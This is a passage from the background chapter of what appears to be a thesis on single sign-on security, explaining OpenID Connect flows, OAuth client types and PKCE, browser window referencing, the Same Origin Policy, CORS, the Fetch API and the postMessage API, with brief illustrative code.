response_mode specifies the mechanism to be used for returning the Authentication
Response (authnResp). The modes are described in Section 2.2.4.3.

prompt specifies the End-User Authentication & Consent page in step 3. It can
contain the following values: (1) none requests the OP to not display any
End-User Authentication & Consent page (which only succeeds if the End-User
is authenticated and has pre-configured consent), (2) login requests the OP
to reauthenticate the End-User, (3) consent requests the OP to prompt the
End-User for consent, and (4) select_account requests the OP to prompt the
End-User to select one of its accounts.

login_hint is an End-User identifier that gives the OP a hint on the End-User’s
identity.

Step 3 – Auth&Consent: The OP returns the End-User Authentication & Consent
page to the UA, as described in OAuth. Note that this step is a�ected by the prompt
parameter in the authnReq. The OP must always obtain consent if a refresh_token
is returned (i.e., prompt=consent) [67, Section 11].

Step 4 – authnResp: The OP returns the authnResp via a redirect through the UA
(front-channel) to the redirectionEndp, as in OAuth. In the OIDC Hybrid Flow,
the parameters are appended as query string and as hash fragment. The following
authnResp parameters are included:

state, code, access_token1, token_type, expires_in, scope as in OAuth.
id_token1 as described in Section 2.2.1. This id_token1 is also referred to as the

front-channel id_token, as it authenticates the End-User in the front-channel.

Step 5 – tokenReq: The RP sends the tokenReq to the tokenEndp on the OP (back-
channel). The following tokenReq parameters are included:

grant_type=authorization_code, code, client_id, redirect_uri, client_secret as
in OAuth.

Step 6 – tokenResp: The OP returns the tokenResp to the RP. The following tokenResp
parameters are included:

access_token2, token_type, expires_in, scope, refresh_token as in OAuth.
id_token2 as described in Section 2.2.1. This id_token2 is also referred to as the

back-channel id_token, as it authenticates the End-User in the back-channel.

Step 7 – resourceReq: The RP uses access_token2 to request the protected resource
on the resourceEndp of the RS, as described in OAuth.
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Step 8 – Validation: The RP validates id_token2 and uses its claims to retrieve the
End-User’s identity. Note that the back-channel id_token does not enforce signa-
ture validation, as the token is transferred over TLS from the OP to the RP.

Step 9 – Website&Script: In the Code Flow, the RP authenticates the End-User based
on id_token2, for instance by returning a session cookie and the protected website
to the UA. In the Implicit Flow and Hybrid Flow, the RP must (additionally)
return a JS script.

Step 10 – Extraction: The UA extracts access_token1 and id_token1 from the frag-
ment.

Step 11 – Auth: The id_token1 authenticates the End-User in the front-channel.

Step 12 – resourceReq: The access_token1 provides direct access to the protected re-
source.

2.2.3.2 The OpenID Connect 1.0 ID Token

The id_token is the central data structure that OIDC provides for End-User authenti-
cation [67, Section 2]. It is represented as digitally signed or integrity protected JWT
that contains basic profile information about the End-User in claims:

iss – Issuer – Issuer identifier of the id_token (i.e., the authnEndp or tokenEndp).
sub – Subject – Unique identifier of the End-User on the OP. Two subject identifier

types are specified: (1) public means that the End-User has the same sub value
(issued by the same OP) on all RPs and (2) pairwise means that the End-User
has individual sub values (issued by the same OP) on each RP.

aud – Audience – The client_id of the RP.
exp, iat – Expiration, Issued At – The id_token must not be consumed by the RP

after its expiration time or before its issued at time (encoded as UNIX timestamps).
auth_time – Authentication Time – The time at which the End-User authenticated

on the OP (encoded as UNIX timestamp).
nonce – Nonce – The parameter from the authnReq.
azp – Authorized Party – The client_id of the RP.
c_hash – Code Hash – Binds the code to the id_token. Only present in id_token1 if a

code is returned in the authnResp.
at_hash – Access Token Hash – Only present in id_token1 / id_token2 if an access_token

is returned in the authnResp / tokenResp.
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2.2.4 Advanced Concepts in OAuth 2.0 and OpenID Connect 1.0

2.2.4.1 Client Types

“OAuth defines two Client types, based on their ability to authenticate securely with
the Authorization Server (i.e., ability to maintain the confidentiality of their Client
credentials)” [35, Section 2.1]:

Confidential Clients are able to keep their credentials secret. An example of a confi-
dential Client is a web application using a backend server, since it can store its
Client credentials securely on the backend.

Public Clients are not able to keep their credentials secret. Examples of public Clients
are single page applications and native applications. Since their source code is
publicly available, they are not capable of securely storing their Client credentials.

Web applications, single page applications, and native applications are defined as fol-
lows:

Web application is “[...] a confidential client running on a web server. Resource owners
access the client via an HTML user interface rendered in a user-agent [...]. The
client credentials as well as any access token issued to the client are stored on the
web server and are not exposed to or accessible by the resource owner” [35, Section
2.1].

Single page application is “[...] a public client in which the client code is downloaded
from a web server and executed within a user-agent [...]. Protocol data and cre-
dentials are easily accessible (and often visible) to the resource owner” [35, Section
2.1]. In literature, they are also referred to as browser-based applications or user-
agent-based applications. The architectural pattern presumes that only a single
document is loaded from the server while the content is dynamically updated with
JS and background requests, resulting in performance improvements. Therefore,
they make use of new JavaScript APIs (i.e., Session History API [61]), which pro-
vide mechanisms to change Uniform Resource Locator (URL) components with-
out triggering a page reload. In general, there are three architectural patterns of
SPAs [73, Section 6]:

SPAs in common-domain deployments presume that the SPA, AS, and RS share
the same domain. In this case, redirect mechanisms are rendered superfluous
and OAuth should be replaced by di�erent authentication solutions.

SPA with backend initiates the Code Flow (similar to web apps) and keeps the to-
kens stored on the backend. It creates a separate session between the backend
and the SPA using traditional session cookies.
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SPA without backend initiates the Code Flow and keeps the tokens stored within
the web browser. The SPA can communicate with the tokenEndp using Cross-
Origin Resource Sharing (CORS) (cf. Section 2.5.1).

Native application is “[...] a public client installed and executed on the device [...].
Protocol data and credentials are accessible to the resource owner” [35, Section
2.1]. “Apps implemented using web-based technology but distributed as a native
app, so-called "hybrid apps", are considered equivalent to native apps [...]” [19,
Section 3]. Native apps can use two approaches to interact with the authzEndp [35,
Section 9]: (1) using an embedded User Agent that is hosted by the native app and
shares the same security domain (i.e., the page content is accessible) or (2) using
an external User Agent that is hosted by the Operating System (OS) and has a
separate security domain (i.e., the page content is isolated)

The current best implementation practices are suggested as follows:

Web application: “Clients SHOULD NOT use the Implicit Grant (response type "to-
ken") or other response types issuing access tokens in the authorization response,
unless access token injection in the authorization response is prevented and [...]
token leakage vectors are mitigated” [52, Section 2.1.2].

Single page application: “The current best practice for browser-based applications is
to use the OAuth 2.0 authorization code flow with PKCE” [73, Section 4].

Native application: RFC 8252 “[...] requires that only external User Agents [...] are
used for OAuth by native apps” [19, Section 1]. “Public native app Clients MUST
implement the Proof Key for Code Exchange (PKCE) extension to OAuth, and
authorization servers MUST support PKCE for such clients [...]” [19, Section 6].
“The use of the Implicit Flow with native app is NOT RECOMMENDED” [19,
Section 8.2].

2.2.4.2 Proof Key for Code Exchange

RFC 7636 defines the Proof Key for Code Exchange (PKCE) extension for public Clients
utilizing the Code Flow [75]. The extension is motivated by the observation that pub-
lic clients are not capable of maintaining a secret, that is, the code is not protected
with a client_secret. This can lead to the code interception attack, in which the at-
tacker intercepts the code returned from the authzEndp and redeems it to receive an
access_token.

Proof Key for Code Exchange (PKCE) introduces additional authzReq and tokenReq
parameters:

code_verifier is a random key, individually generated for each authzReq.
code_challenge is a transformed value of the code_verifier.
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code_challenge_method defines the code_verifier transformation algorithm. The plain
algorithm is a one-to-one mapping of code_verifier and code_challenge. The S256
algorithm calculates a SHA-256 hash of the code_verifier.

The code_challenge and code_challenge_method is sent with the authzReq to the au-
thzEndp. The AS binds the code_challenge to the issued code and returns the code to
the Client. The code and code_verifier are sent with the tokenReq to the tokenEndp.
The AS transforms the code_challenge (obtained in the authzReq) and validates if it
matches the received code_verifier (obtained in the tokenReq). If they match, the AS
returns the tokens in the tokenResp.

Therefore, the Client proves within the tokenReq that it is the initiator of the corre-
sponding authzReq (i.e., knows the code_verifier value).

2.2.4.3 Multiple Response Type Encoding Practices

The response_mode authzReq parameter specifies the mechanism to be used for returning
the authnResp from the authnEndp on the OP to the redirectionEndp on the RP:

query is the default response_mode in the Code Flow and encodes the authnResp param-
eters in the query string of the redirect_uri [11, Section 2.1].

fragment is the default response_mode in the Implicit and Hybrid Flow and encodes the
authnResp parameters in the fragment of the redirect_uri [11, Section 2.1].

form_post encodes the authnResp parameters as HTML form values that are auto-
submitted in the UA to the redirect_uri. Thus, the authnResp parameters are
sent via the Hypertext Transfer Protocol (HTTP) POST method to the RP [53,
Section 2].

web_message sends the authnResp parameters via the postMessage API (cf. Section 2.5.3)
to the RP. As of yet, the OAuth and OIDC flows were executed in a single web
browser window using the so-called redirect flow. That is, the transitions be-
tween the RP and OP endpoints were executed using redirects within the same
window. In practice, the so-called popup flow is used to execute the OAuth
and OIDC flows in two windows. For instance, the authnReq is opened in a new
popup, displaying the Authentication & Consent page within the popup. Finally,
the postMessage API is used to return the authnResp from the popup back to the
web browser window. As of now, this response_mode was not formally specified,
but covered in an expired draft from 2015 [87]. However, this response_mode is
widely used in practice, wherefore it is investigated in Chapters 3 and 4 in more
detail.
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2.2.4.4 Client Authentication Methods

Client authentication methods are used by confidential Clients on the tokenEndp to
authenticate on the OP [67, Section 9]. The following Client authentication methods
may be registered during Client registration:

client_secret_basic uses a symmetric secret with the HTTP Basic authentication scheme.

client_secret_post uses a symmetric secret within the request body (i.e., as client_secret
parameter).

client_secret_jwt uses a symmetric secret to create an integrity protected JWT that
is sent as client_assertion parameter to the tokenEndp.

private_key_jwt uses an asymmetric private key to create a digitally signed JWT that
is sent as client_assertion parameter to the tokenEndp.

2.2.4.5 Redirection Mechanisms

To work with the di�erent Client types introduced in Section 2.2.4.1, there are multiple
redirection mechanisms:

Regular Web-Based URI Redirection uses a regular URI with the http or https schemes.
This mechanism is used in web apps and SPAs. [35, Section 3.1.2]

Example: https://sp.com/redirect?key=value

Private-Use URI Scheme Redirection uses a private-use URI scheme – also referred to
as custom URI scheme – such that the OS launches the native app and passes the
authzResp as launch parameter. The native app receives the authzResp and can
proceed as usual. This mechanism is used in native apps with external UAs. [19,
Section 7.1]

Example: com.sp:/redirect

Claimed https URI Scheme Redirection works similar to the private-use URI scheme
redirection. However, the claimed https URI is indistinguishable from a regular
web-based URI, but is still recognized by the OS as being registered with a native
app. This mechanism is used in native apps with external UAs. [19, Section 7.2]

Example: https://sp.com/redirect

Loopback Interface Redirection opens an ephemeral port – randomly assigned by the
OS – on the loopback network interface to receive the authzResp. This mechanism
is used in native apps with external UAs. [19, Section 7.3]
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Example Localhost: http://localhost:8080/redirect
Example IPv4: http://127.0.0.1:8080/redirect
Example IPv6: http://[::1]:8080/redirect

Manual Copy-and-Paste requires the End-User to manually copy the code from the
authzResp into the native app. This mechanism is not formally specified, but used
in native apps with external or embedded UAs.

Automatic Extraction monitors state changes within an embedded UA and automati-
cally extracts the code from the authzResp. This mechanism is not formally spec-
ified, but used in native apps with embedded UAs.

2.3 Document Object Model

The Document Object Model (DOM) is defined as “[...] the standardized Application
Programming Interface (API) for scripts running in a browser to interact with the HTML
document” [76].

If the web browser receives an HTML file from a server, it parses the document and
constructs a Document Object Model (DOM) tree where individual HTML elements
are represented as nodes. For instance, the root node within an HTML document is
represented by the <html> element, which usually contains two child nodes: the <head>
and <body> tags. That said, the DOM implements an interface to access and dynamically
modify these nodes using JS.

Beyond the pure document, the web browser’s DOM provides access to various other
properties and methods. In this thesis, we will work mainly with windows, in which the
actual document resides. Section 2.3.1 first introduces the di�erent types of windows
within web browsers. Section 2.3.2 defines the concept of window groups combining
di�erent windows into a single, hierarchical composition. Section 2.3.3 covers the Window
interface that defines the properties and methods related to windows. Section 2.3.4
finally presents the methods and properties used by windows to reference other windows
in order to communicate with them.

2.3.1 Windows

If a web browser loads an HTML document containing HTML markup, CSS, and JS, it is
loaded into a window. Windows are not related to the user’s conception of a Graphical
User Interface (GUI) window, but it is rather a theoretic concept introduced by web
browsers. That is, a single web browser window with multiple web browser tabs

actually contains multiple windows, although users perceive only a single GUI window.
Further, windows can contain nested windows by embedding them.
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In this thesis, we will use the following terminology to refer to the di�erent types of
windows within a web browser:

• The primary window is defined as a superordinate window within a web browser.
It can contain several underlying frames and popup windows, but no other primary
window. If the web browser or a new web browser tab is opened by the user, a new
primary window is created. If the user loads a resource, for example by submitting
an URL, further frames and popup windows may be loaded by the primary window.

• The popup window is defined as a subordinate window within a web browser. It
is opened by either a primary window, superior popup window, or frame. It can
be opened as a stand-alone web browser window or as a new web browser tab.

• The frame is defined as an embedded window within a web browser. It is em-
bedded on either a primary window, popup window, or within a parent frame.
In HTML, frames are usually embedded with the <iframe> tag. The <object>,
<embed>, and <frame> tags provide alternative ways to embed external resources
into a document. In this thesis, the terms frames and iframes are used interchange-
ably.

Web browser tabs are either primary windows or popup windows.

2.3.2 Browsing Context, Execution Context, and Window Group

The browsing context is defined as “[...] the environment a browser displays a docu-
ment” [58]. Each primary window, popup window, and frame is an individual browsing
context. “Each browsing context has a specific origin [...] and a history that memorize
all the displayed documents, in order” [58]. Di�erent browsing contexts can communi-
cate with each other using the methods described in Sections 2.5.3 and 2.5.4. However,
communication is restricted by the SOP, described in Section 2.4.

The execution context defines the environment in which a script operates [76]. Each
primary window, popup window, and frame has an individual execution context. In
addition, each execution context has an individual instantiation of the Window interface,
which is described in Section 2.3.3. If JS code is executed with the javascript protocol
in the URL, it inherits the execution context of the window containing that URL.

The window group consists of at least one primary window and may contain several
other popup windows and frames. All popup windows and frames within a window
group must be opened or embedded from any other window within the same window
group. Windows within the same window group can (1) reference each other using
the methods described in Section 2.3.4 and (2) communicate with each other using the
methods described in Sections 2.5.3 and 2.5.4. Windows within a di�erent window group
are isolated and not able to communicate with each other.

Figure 2.4 exemplifies the concept of window groups:
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Primary Window
alice.com

1) alice.com 2) bob.com 3) carol.com2) bob.com 3) carol.com1) alice.com

Primary Window
frank.com

Popup Window
eve.com

window.open()

iframe on dave.com
window.open()

Figure 2.4: Browsing contexts, execution contexts, and window groups. Each window
has an individual browsing and execution context. The first window group
consists of four windows. The second window group and third window group
consist of one window each.

1. The user opens a new web browser window and navigates the primary window to
alice.com.

2. alice.com contains an embedded frame (dave.com) and opens two popup windows:
eve.com is opened in a stand-alone web browser window and bob.com is opened in
a new web browser tab. Since all windows are related to the same primary window
on alice.com, they form the first window group.

3. The user opens a new web browser tab and navigates the primary window to
carol.com. This creates a new, second window group.

4. The user opens a new web browser window and navigates the primary window to
frank.com. This creates a new, third window group.

2.3.3 Window Interface

The Window interface programmatically represents a primary window, popup window,
or frame that contains an instantiated DOM tree including a document. Within each
window, the global variable window, which is of type object and implements the Window
interface, is exposed to the JS code. The window variable represents the root node of the
current window’s DOM tree and thus always refers to the window in which the JS script
is executed. Each window has its own Window object, always accessible via the global
window variable in JS [64].

The Window interface implements a variety of properties, methods, event handlers, events,
and more. Besides that, global variables created by JS scripts are scoped and attached
to the Window object of the window in which the scripts are executed. In this thesis, the
following basic properties and methods of the Window interface [64] are used:

Window.location returns an object containing information about the referenced win-
dow’s location. The object contains the following properties: href, protocol, host,

alice.com
alice.com
dave.com
eve.com
bob.com
alice.com
carol.com
frank.com
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port, pathname, search, hash and origin. With Window.location.href = "<URL>",
the referenced window can be instructed to navigate to the new URL using JS.
The Window.location.reload() method initiates a page reload.

Window.name returns the optional name of the referenced window. With Window.name =
"<WINDOW_NAME>", the name of the referenced window is set. Note that this is not
the document title – it is rather used to identify and receive a reference to the
named window (see Window Referencing in Section 2.3.4).

Window.localStorage returns a reference to the localStorage container in which key-value
pairs are stored permanently. JS code can write to localStorage with Window Ê

.localStorage.setItem("key", "value") and read from localStorage with Window Ê

.localStorage.getItem("key").

Window.sessionStorage returns a reference to the sessionStorage container in which key-
value pairs are stored temporarily until the window is closed. Other than that,
this property works similar to Window.localStorage.

Window.closed returns a boolean that indicates whether the referenced window is closed
or not.

Window.close() closes the referenced popup window. It throws an error if it is invoked
on a primary window or frame.

The next Section 2.3.4 introduces further properties and methods exposed by the Window
interface, which enable Window objects to reference each other.

2.3.4 Window Referencing

The DOM allows windows to reference each other as long as they are within the same
window group. Thus, one browsing context can reference another browsing context and
access the properties and methods scoped to its Window object. If both browsing contexts
share the same protocol, host, and port, they gain full access to the referenced window’s
Window object. Otherwise, they are provided with severely restricted access to certain
properties and methods of the referenced Window object. This access is controlled by the
SOP, which is explained in Section 2.4.

Window referencing is a fundamental prerequisite for web messaging. If a window wants
to send a message to another window within the same window group, it always has
to select the receiving window first. As soon as the receiving window is selected, the
message is finally sent to it by the sending window. Thus, we will first introduce the
basics of window referencing before the postMessage API – providing web messaging
functionality – is explained in more detail in Section 2.5.3.

The Window interface [64] exposes the following properties for window referencing:
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Window.self returns the window itself on which this property was accessed. This is equal
to the Window.window property itself: Window.self === Window.window.

Window.parent returns the parent window of this frame. Since primary windows and
popup windows do not have any parents (i.e. are not embedded), their parent
property refers to the window itself: Window.parent === Window.self.

Window.top returns the topmost window of this frame. Since primary windows and
popups windows are topmost windows (i.e. do not have any parents), their top
property refers to the window itself: Window.top === Window.self.

Window.opener returns the window that opened this popup window using Window.open().
If this window is a primary window or frame, it returns null.

Window.frames returns an array of frames embedded in this window. Each item within
the array is a Window object implementing the Window interface and represents the
given frame.

Window.frames.length Returns the number of elements within the Window.frames array.
That is, this property indicates the number of frames embedded on this window.

The Window.open() method The counterpart of the Window.opener property is the
Window.open() method defined as follows [65]:

var myPopup = Window.open(url, windowName, [windowFeatures])

This method loads the URL specified in the first parameter (string) into a new or
existing browsing context. If the second parameter (string) matches an existing Window Ê

.name property of a window within the same window group, the URL is loaded into that
window’s existing browsing context. Otherwise, a new popup window is created and the
Window.name property is set accordingly. Other than that, there are keywords reserved
for specific browsing contexts:

• _self refers to the current browsing context and is selected by default.
• _blank refers to a new, unnamed popup window.
• _parent refers to the parent browsing context.
• _top refers to the topmost browsing context.

Thus, if a new popup window is opened, the second parameter must be either set to
_blank or to an unused window name. If the third parameter (string) is omitted and
a new popup window is opened, it is added as a new web browser tab. Otherwise, if
the third parameter is specified, the popup window is opened as a new, stand-alone web
browser window. This parameter specifies, among other features, the default size of the
web browser window, such as width=300,height=500 (in pixels).

The Window.open() method returns a Window object representing the new popup window
that was created. This variable must be saved for future references, for example by
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adding it to the window’s global Window object with window.myPopup = window.open().
If the reference to the popup window was not saved or got lost, a new reference can be
obtained using the popup window’s name and an empty URL: var myPopup = window Ê

.open("", windowName).

Example In order to understand the relations between primary windows, popup win-
dows, and frames, we will introduce an exemplary setup in Figure 2.5. Based on this
example, we will reconsider the properties and methods provided by the Window interface
for window referencing.

Primary Window
alice.com

iframe on carol.com

window.frames[0]

iframe on dave.com

window.frames[0].frames[0]

window.parent.parent or window.top

Popup Window
bob.com

iframe on eve.com

iframe on frank.comwindow.parent

window.frames[0]

window.frames[1]

window.top

// window.frames.length = 2

window.parent or window.top

window.frames[0]
window.parent

var popup = window.open()

window.opener

Figure 2.5: Window referencing within the DOM. Yellow arrows indicate directional win-
dow references moving upwards, whereas red arrows are moving downwards
in the window hierarchy.

The setup in Figure 2.5 is defined as follows:

• The user opens the primary window on alice.com,
– which opens a popup window on bob.com,

� which embeds an iframe on eve.com
� which embeds an iframe on frank.com

– which embeds an iframe on carol.com,
� which embeds an iframe on dave.com

The basic relations introduced in Figure 2.5 can be combined for multi-staged refer-
ences:

• If the iframe on eve.com wants to select its neighbor iframe on frank.com, it
(1) selects its parent window with window.parent, and (2) selects the subsequent
iframe with .frames[1]. The combined expression is: window.parent.frames[1].

• If the iframe on frank.com wants to select the iframe on dave.com, it (1) selects
the popup window with window.top, (2) selects the primary window with .opener,

alice.com
bob.com
eve.com
frank.com
carol.com
dave.com
eve.com
frank.com
frank.com
dave.com
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(3) selects the iframe on carol.com with .frames[0], and (4) selects the iframe
on dave.com with .frames[0]. The combined expression is: window.top.opener Ê

.frames[0].frames[0].

• If the iframe on eve.com wants to select the iframe on carol.com, it (1) selects its
parent window with window.parent, (2) selects the primary window with .opener,
and (3) selects the iframe on carol.com with .frames[0]. The combined expression
is: window.parent.opener.frames[0].

• In turn: If the iframe on carol.com wants to select the iframe on eve.com, it fails to
do so. Here, the SOP prohibits the iframe on carol.com from selecting the popup
variable scoped to the Window object of the primary window on alice.com. The
reasons for this restriction are outlined in the following Section 2.4.

2.4 Same Origin Policy

The Same Origin Policy (SOP) is a critical security mechanism within web browsers for
protecting web applications. It denotes “[...] a complex set of rules which governs the
interaction of di�erent Web Origins within a web application” [76].

Web Origin The web origin of a URL is defined in [13, Section 4] as the triple: protocol
(e.g. http or https), host (e.g. example.com), and port (e.g. 80 or 443). If two URLs
have the same web origin, they are referred to as same-origin. If two URLs have a
di�erent web origin, they are referred to as cross-origin. In this thesis, we will use the
terms web origin and origin interchangeably.

Set of Rules Although there is no formal definition of the SOP, Schwenk, Niemietz,
and Mainka [76] classified the diverse SOP rules into di�erent subsets. For instance, one
subset protects the browsing context on one origin from being accessed by a browsing
context on a di�erent origin. Another subset restricts the access to HTTP cookies and
defines to which URLs they are send. In terms of the Fetch API and XMLHttpRequests
(XHRs) (see Section 2.5.2), a di�erent subset of SOP rules regulates the cross-origin
network communication and restricts websites from receiving cross-origin documents.

Same Origin Policy protects Browsing Contexts In this thesis, the SOP rules re-
stricting how a browsing context on one origin can interact with a browsing context on
a di�erent origin are of major importance. In short, the SOP isolates browsing contexts
and execution contexts in cross-origin scenarios. For instance, the SOP restricts the ac-
cess to the Window object on one browsing context from being accessed by a cross-origin
browsing context. The term “restrict” implies that the access is not entirely prohib-
ited. For instance, the properties of the Window interface related to window referencing

carol.com
dave.com
eve.com
carol.com
carol.com
carol.com
eve.com
carol.com
alice.com
example.com
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are still accessible in cross-origin contexts. However, the Window.document property is
strictly prohibited from being accessed by cross-origin browsing contexts.

As an example, a malicious website attacker.com must not be able to embed a website
bank.com as iframe and subsequently access the document within its Window object.
Also, the malicious website must not be able to execute JS code in the other website’s
execution context, for example by adding a <script> tag to the Window.document.body
property of the other website’s Window object.

Same Origin Policy in Single Sign-On In SSO, the IdP is usually located on a di�erent
origin than the SP. Thus, the SOP policy restricts their communication. In order to
circumvent the SOP rules, the standard specifications [35, 67] define the use of HTTP
redirects. Cross-origin writes, such as links, redirects, and form submissions, are allowed
by the SOP [71].

In some scenarios, websites still need to access or communicate with cross-origin content,
such as advertisements and analytics. Additionally, SSO in the wild may use alternative
communication techniques (see Section 2.2.4.3), which eventuates in the demand of other
mechanisms (see Section 2.5.3) to securely circumvent the SOP restrictions. Therefore,
the following Section 2.5 describes controlled mechanisms to securely circumvent the
SOP restrictions.

2.5 Cross-Origin Communication

Web browsers provide several mechanisms relaxing the SOP for cross-origin communi-
cation. In this thesis, we will make use of three of them:

• Cross-Origin Resource Sharing (cf. Section 2.5.1) in conjunction with the Fetch
API and XMLHttpRequests (cf. Section 2.5.2)

• postMessage API (cf. Section 2.5.3)
• Channel Messaging API (cf. Section 2.5.4)

2.5.1 Cross-Origin Resource Sharing

Cross-Origin Resource Sharing (CORS) “[...] is a part of HTTP that lets servers specify
what hosts are permitted to load content from that server” [71]. Therefore, it “uses
additional HTTP headers to tell browsers to give a web application running at one origin,
access to selected resources from a di�erent origin” [59]. Web apps using the Fetch API
or XHRs “[...] can only request resources from the same origin the application was loaded
from unless the response from other origins includes the right CORS headers” [59].

If the Fetch API or XHR sends an authenticated GET request (i.e. with HTTP cookies)
to a cross-origin server, CORS works as follows:

attacker.com
bank.com
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1. The HTTP GET request is send to the cross-origin server. The Origin header
identifies the website from which the request is initiated.
GET /resources/protected.txt HTTP/1.1
Host: rs.com
Origin: https://alice.com
Cookie: [...]

2. In response, the server responds with an Access-Control-Allow-Origin header that
whitelists the origins allowed to access its resource. Also, the web browser rejects
any response that does not contain the Access-Control-Allow-Credentials: true
header if the “include credentials” option was set by the Fetch API or XHR. Fi-
nally, the Access-Control-Expose-Headers header whitelists response headers that
the web browser is allowed to provide to the requesting website.
HTTP/1.1 200 OK
Content-Type: text/plain
Access-Control-Allow-Origin: https://alice.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: X-Custom-Header
X-Custom-Header: [...]

2.5.2 Fetch API and XMLHttpRequests

“XMLHttpRequest (XHR) objects are used to interact with servers. You can retrieve
data from a URL without having to do a full page refresh. This enables a Web page to
update just part of a page without disrupting what the user is doing.”1 [66]

As the successor of XHRs, the Fetch API pursues the same purpose. It “[...] provides
an interface for fetching resources (including across the network)” [60] as well, but “[...]
provides a more powerful and flexible feature set” [60] than its predecessor.

Since the Fetch API plays an important role in Section 5.1 (XS-Leaks in SSO: Revealing
End-User’s Account Ownership and Identity), we will provide an exemplary GET request
to a cross-origin resource using CORS in Listing 2.3. XMLHttpRequests are not covered
in detail in this thesis, thus they are not further introduced.

As shown in Listing 2.3, the fetch() method expects two arguments. At first, the
URL of the requested resource is specified. The second argument contains configuration
parameters [86, Section 2.2.5], from which the following are required in this thesis:

method specifies the HTTP method.

mode specifies the associated mode of the request:

same-origin ensures that the request is send to a same-origin URL. The response
provides full access to the headers and the body.

1This is a basic property of single page applications, which are introduced in Section 2.2.4.1.
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Listing 2.3: Example of Fetch API request with CORS.
1 fetch("https://rs.com/resources/protected.txt", {
2 method: "GET",
3 mode: "cors", // same-origin, cors, no-cors
4 credentials: "include", // include, omit
5 redirect: "follow" // follow, manual
6 }).then((response) => {
7 return response.text()
8 }).then((text) => {
9 // Receive the text.

10 }).catch((error) => {
11 // Some error occurred.
12 })

cors ensures that a CORS request is send to the URL. If the server does not
support CORS, an error is thrown.

no-cors neither sends a CORS request nor a same-origin request. The request
is restricted to only allow GET, HEAD, and POST HTTP methods and certain
request headers. The response is an opaque filtered response (opaque type),
which does not contain any response headers or a body (otherwise it would
violate the SOP).

credentials specifies if cookies should always be included in (include) or excluded from
(omit) the request. This applies to cross-origin requests as well.

redirect specifies if redirects should always be followed (follow) or not (manual). This
applies to cross-origin requests as well. If the manual value is set, the response is
an opaque-redirect filtered response (opaqueredirect type), which does not contain
any response headers or a body. The opaque filtered response and opaque-redirect
filtered response only di�er in their type attributes (opaque vs. opaqueredirect).

In contrast to XHR, which calls an event handler on success or failure, the Fetch API
is entirely based on Promises. In particular, the fetch() method returns a Promise that
resolves on success or rejects on failure as soon as the response is available.

2.5.3 PostMessage API

Although the Same Origin Policy isolates cross-origin browsing contexts, the postMes-
sage API – introduced in HTML5 – “[...] provides a controlled mechanism to securely cir-
cumvent this restriction (if used properly)” [72]. Therefore, the Window interface exposes
the Window.postMessage() method which “[...] safely enables cross-origin communication
between Window objects” [72].

“Broadly, one window may obtain a reference to another [...] and then dispatch a
MessageEvent on it [...]. The receiving window is then free to handle this event as needed.
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The arguments passed to Window.postMessage() (i.e., the "message") are exposed to the
receiving window through the event object” [72].

In general, the postMessage setup involves two parties: the source window that will
send the message and the target window that will receive the message. Therefore,
the source window implements the postMessage sender and the target window im-
plements the postMessage receiver .

postMessage Sender The Window.postMessage() method is defined as follows [72]:

Window.postMessage(message, targetOrigin, [transfer])

Within the source window, the Window.postMessage() method is invoked on the target
window’s Window object. Section 2.3.4 demonstrates how the target window is refer-
enced.

The first parameter specifies the actual data that is send to the target window. This
data is either a primitive data type or any object that supports serialization with the
structured clone algorithm [63].

The second parameter (string) specifies the origin of the target window as a URL. If the
origin provided within this parameter does not match the target window’s origin, the
event is not dispatched within the target window – only if both origins match, the target
window is able to receive the message. The target origin "*" is used as a wildcard that
matches any origin – in this case, every target window is able to receive the message
(regardless of its origin).

The third parameter is optional and specifies an array of Transferable objects that are
sent to the target window. The scope of the transferred objects is moved to the target
window’s browsing context. Thus, the source window’s execution context can no longer
access these objects.

The source window finally creates a new MessageEvent object implementing the
MessageEvent interface based on the sender’s parameters and finally dispatches that event
on the target window.

postMessage Receiver The target window must register an event listener before the
message is sent by the source window [72]:

window.addEventListener("message", (event) => {
// event implements the MessageEvent interface

})
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The first parameter specifies that this event listener only listens for dispatched events
implementing the MessageEvent interface.

The second parameter specifies the callback that is invoked as soon as an event im-
plementing the MessageEvent interface is received at the target window. The received
MessageEvent object is passed as parameter to the callback.

The MessageEvent interface exposes the following properties:

MessageEvent.data is the actual data that is send by the source window. The data type
is preserved.

MessageEvent.origin is the origin of the source window at the time the
Window.postMessage() method was invoked. The origin is returned as string:
<protocol>://<host>[:<port>].

MessageEvent.source is a reference to the Window object of the source window. This
reference may be used by the target window to send a message back to the source
window.

postMessage Example Figure 2.6 illustrates a common use case of the postMessage
API:

Primary Window
alice.com

iframe on bob.com

f unct i on r ecei ver ( event )  {
consol e. l og( " @Bob:  "  + event . dat a) ;   
event . sour ce. post Message(

" Hel l o f r om Bob! " ,
" * "

) ;
}
wi ndow. addEvent Li st ener ( " message" ,  r ecei ver ) ;

Popup Window
carol.com

f unct i on r ecei ver ( event )  {
consol e. l og( " @Car ol :  "  + event . dat a) ;  
event . sour ce. post Message(

" Hel l o f r om Car ol ! " ,
" * "

) ;
}
wi ndow. addEvent Li st ener ( " message" ,  r ecei ver ) ;

f unct i on r ecei ver ( event )  {
consol e. l og( " @Al i ce:  "  + event . dat a) ;

}
wi ndow. addEvent Li st ener ( " message" ,  r ecei ver ) ;

var  popup = wi ndow. open( " ht t ps: / / car ol . com" ,  " C" ) ;

popup. post Message(
" Hel l o Car ol ! " ,
" ht t ps: / / car ol . com"

) ;

wi ndow. f r ames[ 0] . post Message(
" Hel l o Bob! " ,
" ht t ps: / / bob. com"

) ;
MessageEvent

MessageEvent

Console Sources Network

< @Car ol :  Hel l o Car ol !

< @Al i ce:  Hel l o f r om Car ol !

< @Bob:  Hel l o Bob!

< @Al i ce:  Hel l o f r om Bob!

Figure 2.6: Cross-origin communication with the postMessage API. The primary window
sends messages to the iframe and popup window and receives a response
from both of them. For the sake of simplicity, we assume a sequential,
deterministic execution order (which is di�erent in practice).
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1. The primary window on alice.com embeds a cross-origin iframe on bob.com.

2. The primary window on alice.com opens a cross-origin popup window on carol.
com.

3. The primary window sends a message to the cross-origin iframe and popup window.
In both cases, the target origin is specified, such that only bob.com and carol.com
can receive the respective messages.

4. As soon as the iframe or popup window receive a message, they respond with a
message to the source window. This time, the target origin is the wildcard, such
that every window can send a message to bob.com or carol.com and receive a
response.

The security considerations of the postMessage API are worked out in Section 4.2.

2.5.4 Channel Messaging API

“The Channel Messaging API allows two separate scripts running in di�erent browsing
contexts [...] to communicate directly, passing messages between one another through
two-way channels (or pipes) with a port at each end.” [69]

The Channel Messaging API is examined based on Figure 2.7:

1. The MessageChannel object is initialized with the MessageChannel() constructor
